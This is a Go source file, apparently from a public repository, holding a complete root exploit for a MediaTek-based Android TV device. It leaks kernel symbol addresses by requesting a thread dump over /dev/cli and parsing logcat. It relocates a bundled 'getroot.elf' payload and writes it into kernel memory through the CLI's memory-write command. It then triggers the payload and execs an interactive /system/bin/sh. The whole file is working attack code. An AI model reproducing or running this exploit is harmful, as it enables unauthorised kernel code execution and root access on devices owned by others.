-
Notifications
You must be signed in to change notification settings - Fork 5
/
loader.go
536 lines (451 loc) · 13.4 KB
/
loader.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
package main
import (
"bufio"
"bytes"
"debug/elf"
"encoding/binary"
"encoding/json"
"errors"
"flag"
"fmt"
"io/ioutil"
"log"
"os"
"os/exec"
"regexp"
"strconv"
"strings"
"sync"
"syscall"
"time"
"unsafe"
)
var (
flagAsset = flag.String("asset", "getroot.elf", "Name of the bundled asset to load.")
flagLoadSymbol = flag.String("load_symbol", "_CmdVersion", "Symbol to load asset at.")
flagLoadAddr = flag.Uint("load_addr", 0, "Address to load asset at, or 0 if --load_symbol's address should be determined at run time.")
flagDump = flag.String("dump", "", "Dump final relocated binary to given filename and exit.")
flagWrite = flag.Bool("write", true, "Write relocated binary to load address.")
flagTriggerCmd = flag.String("trigger_cmd", "b.ver", "CLI trigger command that causes execution of --load_addr.")
flagTriggerExec = flag.String("trigger_exec", "/system/bin/sh -i", "Command and arguments of the binary that replaces this program after triggering (i.e. is execve()'d).")
flagTrigger = flag.Bool("trigger", true, "Trigger the --trigger_cmd and execute --trigger_exec.")
)
var info = log.New(os.Stderr, "INFO: ", log.Ltime)
var warning = log.New(os.Stderr, "WARNING: ", log.Ltime)
// from debug/elf/file.go.
func applyRelocationsARM(f *elf.File, symbols []elf.Symbol, dst []byte, rels []byte, daddr addr) error {
// 8 is the size of elf.Rel32.
if len(rels)%8 != 0 {
return errors.New("length of relocation section is not a multiple of 8")
}
b := bytes.NewReader(rels)
var rel elf.Rel32
for b.Len() > 0 {
binary.Read(b, f.ByteOrder, &rel)
symNo := rel.Info >> 8
t := elf.R_ARM(rel.Info & 0xff)
if symNo == 0 || symNo > uint32(len(symbols)) {
return fmt.Errorf("Unknown symbol 0x%x", symNo)
}
sym := &symbols[symNo-1]
if rel.Off+4 >= uint32(len(dst)) {
return fmt.Errorf("offset 0x%x for symbol %#v out of range", rel.Off, sym)
}
if sym.Value == 0 {
return fmt.Errorf("undefined symbol %#v", sym)
}
switch t {
case elf.R_ARM_ABS32:
val := f.ByteOrder.Uint32(dst[rel.Off : rel.Off+4])
val += uint32(sym.Value)
f.ByteOrder.PutUint32(dst[rel.Off:rel.Off+4], val)
case elf.R_ARM_CALL:
// From linux/arch/arm/kernel/module.c
offset := int32((f.ByteOrder.Uint32(dst[rel.Off:rel.Off+4]) & 0x00ffffff) << 2)
if offset&0x02000000 != 0 {
offset -= 0x04000000
}
pos := daddr + addr(rel.Off)
offset += int32(sym.Value) - int32(pos)
if offset&3 != 0 || offset <= -0x02000000 || offset >= 0x02000000 {
return fmt.Errorf("target offset %08x for symbol %#v out of range", offset, sym)
}
offset >>= 2
val := f.ByteOrder.Uint32(dst[rel.Off : rel.Off+4])
val &= 0xff000000
val |= uint32(offset)
f.ByteOrder.PutUint32(dst[rel.Off:rel.Off+4], val)
default:
return fmt.Errorf("Unsupported relocation type %v", t)
}
}
return nil
}
type addr uint32
func loadELF(data []byte, loadaddr addr) ([]byte, error) {
f, err := elf.NewFile(bytes.NewReader(data))
if err != nil {
return nil, fmt.Errorf("can't open elf: %v", err)
}
sections := make(map[string][]byte, 3)
for _, name := range []string{".text", ".rel.text", ".data"} {
sec := f.Section(name)
if sec == nil {
return nil, fmt.Errorf("section %s not found", name)
}
var err error
sections[name], err = sec.Data()
if err != nil {
return nil, fmt.Errorf("can't get section %s's data: %v", name, err)
}
}
ret := sections[".text"]
for len(ret)%4 != 0 {
ret = append(ret, byte(0))
}
dataaddr := loadaddr + addr(len(ret))
ret = append(ret, sections[".data"]...)
syms, err := f.Symbols()
if err != nil {
return nil, fmt.Errorf("can't get list of symbols: %v", err)
}
for i, sym := range syms {
if sym.Name == "" && elf.SymType(sym.Info&0xf) == elf.STT_SECTION {
if int(sym.Section) >= len(f.Sections) {
return nil, fmt.Errorf("section %v for symbol %#v out of range", sym.Section, sym)
}
switch f.Sections[sym.Section].Name {
case ".text":
syms[i].Value = uint64(loadaddr)
case ".data":
syms[i].Value = uint64(dataaddr)
}
}
}
if err := applyRelocationsARM(f, syms, ret, sections[".rel.text"], loadaddr); err != nil {
return nil, fmt.Errorf("can't relocate: %v", err)
}
for len(ret)%4 != 0 {
ret = append(ret, byte(0))
}
return ret, nil
}
func sendString(f *os.File, cmd string) error {
bp, err := syscall.BytePtrFromString(cmd)
if err != nil {
return fmt.Errorf("can't get a byte buffer: %v", err)
}
start := time.Now()
_, _, errno := syscall.Syscall(syscall.SYS_IOCTL, uintptr(f.Fd()), 1, uintptr(unsafe.Pointer(bp)))
if errno != 0 {
return fmt.Errorf("ioctl(%v, INPUT_STRING, %q) failed: %v", f, cmd, errno)
}
info.Printf("Sent %q to CLI (took %v).", cmd, time.Now().Sub(start))
return nil
}
func ignoreSIGKILL(err error) error {
if err == nil {
return nil
}
if ee, ok := err.(*exec.ExitError); ok {
if ws, ok := ee.ProcessState.Sys().(syscall.WaitStatus); ok {
if ws.Signaled() && ws.Signal() == os.Kill {
return nil
}
}
}
return err
}
func cliCommand(f *os.File, cmdstr string, recv chan<- string) error {
cmd := exec.Command("logcat", "-T0", "-s", "MTK_KL")
cmd.Stdin = nil
cmd.Stderr = nil
stdout, err := cmd.StdoutPipe()
if err != nil {
return fmt.Errorf("can't get a pipe to logcat's stdout: %v", err)
}
if err := cmd.Start(); err != nil {
return fmt.Errorf("can't start logcat: %v", err)
}
defer func() {
cmd.Process.Kill()
if err := ignoreSIGKILL(cmd.Wait()); err != nil {
warning.Printf("When waiting for logcat: %v", err)
}
}()
s := bufio.NewScanner(stdout)
if !s.Scan() {
ret := s.Err()
if ret == nil {
ret = errors.New("unexpected EOF while waiting for first line")
}
return ret
}
go func() {
for s.Scan() {
line := s.Text()
if len(line) > 0 && line[0] == '-' {
continue
}
recv <- line
}
close(recv)
if err := s.Err(); err != nil {
warning.Printf("While reading from logcat: %v", err)
}
}()
// Will block until the command has been processed. The log does lag a bit, but
// it doesn’t matter if we lose a couple of lines at the end of a thread dump.
return sendString(f, cmdstr)
// defer kills logcat, goroutine closes recv on EOF.
}
func mustAtoi(s string) uint32 {
v, err := strconv.ParseUint(s, 16, 32)
if err != nil {
log.Panicf("ParseUint(%q, 16, 32) unexpectedly failed: %v", s, err)
}
return uint32(v)
}
var symRE = regexp.MustCompile(`\[<([[:xdigit:]]{8})>\] \((.*?)\+0x([[:xdigit:]]+)/`)
var taskRE = regexp.MustCompile(`\] Task\s+\d+\s`)
func getThreadDump() (map[string]addr, error) {
f, err := os.Open("/dev/cli")
if err != nil {
return nil, fmt.Errorf("can't open CLI: %v", err)
}
defer f.Close()
var wg sync.WaitGroup
wg.Add(1)
recv := make(chan string)
go func() {
err = cliCommand(f, "b.da", recv)
wg.Done()
}()
const markTimeout = 15 * time.Second
mark := time.NewTimer(markTimeout)
tasks := 0
inconclusive := map[string]struct{}{
"MonitorProcess": struct{}{},
"cb_ioctl": struct{}{},
}
ret := make(map[string]addr)
F:
for {
select {
case <-mark.C:
info.Printf("Still here (got %d tasks so far).", tasks)
mark.Reset(markTimeout)
case line, ok := <-recv:
if !ok {
break F
}
if taskRE.MatchString(line) {
tasks++
continue F
}
for _, m := range symRE.FindAllStringSubmatch(line, -1) {
abs, sym, off := mustAtoi(m[1]), m[2], mustAtoi(m[3])
symaddr := addr(abs - off)
if _, iok := inconclusive[sym]; !iok {
if old, ok := ret[sym]; ok && old != symaddr {
warning.Printf("Inconclusive address for %q: %08x (previous) vs. %08x (current). Ignoring symbol.", sym, old, symaddr)
inconclusive[sym] = struct{}{}
} else if !ok {
info.Printf("Discovered %q at 0x%08x.", sym, symaddr)
ret[sym] = symaddr
mark.Reset(markTimeout)
}
}
}
}
}
wg.Wait()
if err != nil {
return nil, fmt.Errorf("can't send CLI command: %v", err)
}
for sym := range inconclusive {
delete(ret, sym)
}
return ret, nil
}
type addrWithLen struct {
Addr addr
Len uint32
}
func (a addrWithLen) String() string {
return fmt.Sprintf("0x%08x (%d bytes)", a.Addr, a.Len)
}
func getDriverSymbols() (map[string]addrWithLen, error) {
f, err := elf.Open("/basic/dtv_driver.ko") // Not all copies are readable.
if err != nil {
return nil, fmt.Errorf("can't open dtv_driver: %v", err)
}
syms, err := f.Symbols()
if err != nil {
return nil, fmt.Errorf("can't determine dtv_driver's symbols: %v", err)
}
ret := make(map[string]addrWithLen)
for _, sym := range syms {
if int(sym.Section) >= len(f.Sections) {
continue
}
section := f.Sections[sym.Section]
if sym.Name == "" || section.Name != ".text" || sym.Value == 0 || sym.Size == 0 {
continue
}
ret[sym.Name] = addrWithLen{addr(sym.Value), uint32(sym.Size)}
}
return ret, nil
}
type cache struct {
KernelVersion string
TargetSymbol string
TargetAddr addrWithLen
}
const cacheFile = "/data/local/tmp/targetcache"
func getCache() *cache {
f, err := os.Open(cacheFile)
if err != nil {
warning.Printf("Can't open cache file, ignoring: %v", err)
return nil
}
defer f.Close()
var ret cache
if err := json.NewDecoder(f).Decode(&ret); err != nil {
warning.Printf("Can't decode %v as %T, ignoring: %v", cacheFile, &ret, err)
return nil
}
return &ret
}
func putCache(c *cache) error {
f, err := os.Create(cacheFile)
if err != nil {
return fmt.Errorf("can't create cache file: %v", err)
}
if err := json.NewEncoder(f).Encode(c); err != nil {
os.Remove(cacheFile)
return fmt.Errorf("can't encode %T%#v to %v: %v", c, c, f, err)
}
if err := f.Close(); err != nil {
os.Remove(cacheFile)
return fmt.Errorf("can't close cache file: %v", err)
}
return nil
}
func getKernelVersion() (string, error) {
v, err := ioutil.ReadFile("/proc/version")
return strings.TrimSpace(string(v)), err
}
func getTargetAddr() (addrWithLen, error) {
var zero addrWithLen
kver, err := getKernelVersion()
if err != nil {
return zero, fmt.Errorf("can't determine running kernel: %v", err)
}
if c := getCache(); c != nil {
if c.KernelVersion != kver {
warning.Printf("Cached kernel version (%q) doesn't match running kernel (%q), ignoring.", c.KernelVersion, kver)
} else if c.TargetSymbol != *flagLoadSymbol {
warning.Printf("Cache symbol name (%q) doesn't match expected (%q), ignoring.", c.TargetSymbol, *flagLoadSymbol)
} else {
info.Printf("Loaded target symbol %q = %v from cache, delete %q if this is incorrect.", *flagLoadSymbol, c.TargetAddr, cacheFile)
return c.TargetAddr, nil
}
}
warning.Printf("Need to acquire a thread dump, this might take a minute or two.")
runsyms, err := getThreadDump()
if err != nil {
return zero, fmt.Errorf("can't acquire thread dump: %v", err)
}
drvsyms, err := getDriverSymbols()
if err != nil {
return zero, fmt.Errorf("can't get symbols from dtv driver: %v", err)
}
var offset addr
offsym := ""
for sym, dval := range drvsyms {
rval, ok := runsyms[sym]
if !ok {
continue
}
soff := rval - dval.Addr
if offset != addr(0) && offset != soff {
return zero, fmt.Errorf("inconclusive symbol offset: 0x%08x (previous, for %q) vs. 0x%08x (now, for %q)", offset, offsym, soff, sym)
}
offset = soff
offsym = sym
}
dval, ok := drvsyms[*flagLoadSymbol]
if !ok {
return zero, fmt.Errorf("symbol %q not found in driver", *flagLoadSymbol)
}
ret := addrWithLen{dval.Addr + offset, dval.Len}
if err := putCache(&cache{KernelVersion: kver, TargetSymbol: *flagLoadSymbol, TargetAddr: ret}); err != nil {
warning.Printf("Can't store cache: %v", err)
}
return ret, nil
}
func main() {
flag.Parse()
a, err := Asset(*flagAsset)
if err != nil {
log.Fatalf("Can't load asset %q: %v", *flagAsset, err)
}
loadAddr := addr(*flagLoadAddr)
loadLen := uint32(0)
if loadAddr == addr(0) {
tgt, err := getTargetAddr()
if err != nil {
log.Fatalf("Can't determine load address: %v.", err)
}
loadAddr, loadLen = tgt.Addr, tgt.Len
}
data, err := loadELF(a, loadAddr)
if err != nil {
log.Fatalf("Can't load ELF: %v", err)
}
if *flagDump != "" {
if err := ioutil.WriteFile(*flagDump, data, 0666); err != nil {
log.Fatalf("Can't dump data: %v", err)
}
info.Printf("Output written to %q", *flagDump)
info.Printf("arm-none-eabi-objdump -marm -bbinary -EL -D --adjust-vma=0x%08x %s", loadAddr, *flagDump)
os.Exit(0)
}
if loadLen > 0 {
l := uint32(len(data))
if l > loadLen {
log.Fatalf("Binary size (%d bytes) exceeds target length (%d). Run with -dump and investigate what to strip.", l, loadLen)
}
info.Printf("Linked ELF: %d bytes, available at target: %d (room for %d more bytes)", l, loadLen, loadLen-l)
}
f, err := os.Open("/dev/cli")
if err != nil {
log.Fatalf("Can't open CLI: %v.", err)
}
defer f.Close()
if *flagWrite {
for i := 0; i < len(data); i += 4 {
cmd := fmt.Sprintf("w 0x%08x 0x%02x%02x%02x%02x", uint(loadAddr)+uint(i), data[i+3], data[i+2], data[i+1], data[i])
if err := sendString(f, cmd); err != nil {
log.Fatalf("Can't send write command %q to CLI: %v.", cmd, err)
}
}
}
if *flagTrigger {
if err := sendString(f, *flagTriggerCmd); err != nil {
log.Fatalf("Can't send trigger command %q to CLI: %v", *flagTriggerCmd, err)
}
info.Printf("Executed %s.", *flagAsset)
if ex := *flagTriggerExec; ex != "" {
args := strings.Fields(ex)
prog := args[0]
env := os.Environ()
info.Printf("Executing %q with args=%q, env=%q. Goodbye!", prog, args, env)
if err := syscall.Exec(prog, args, env); err != nil {
log.Fatalf("Exec failed: %v", err)
}
log.Panic("Should not be here")
}
}
}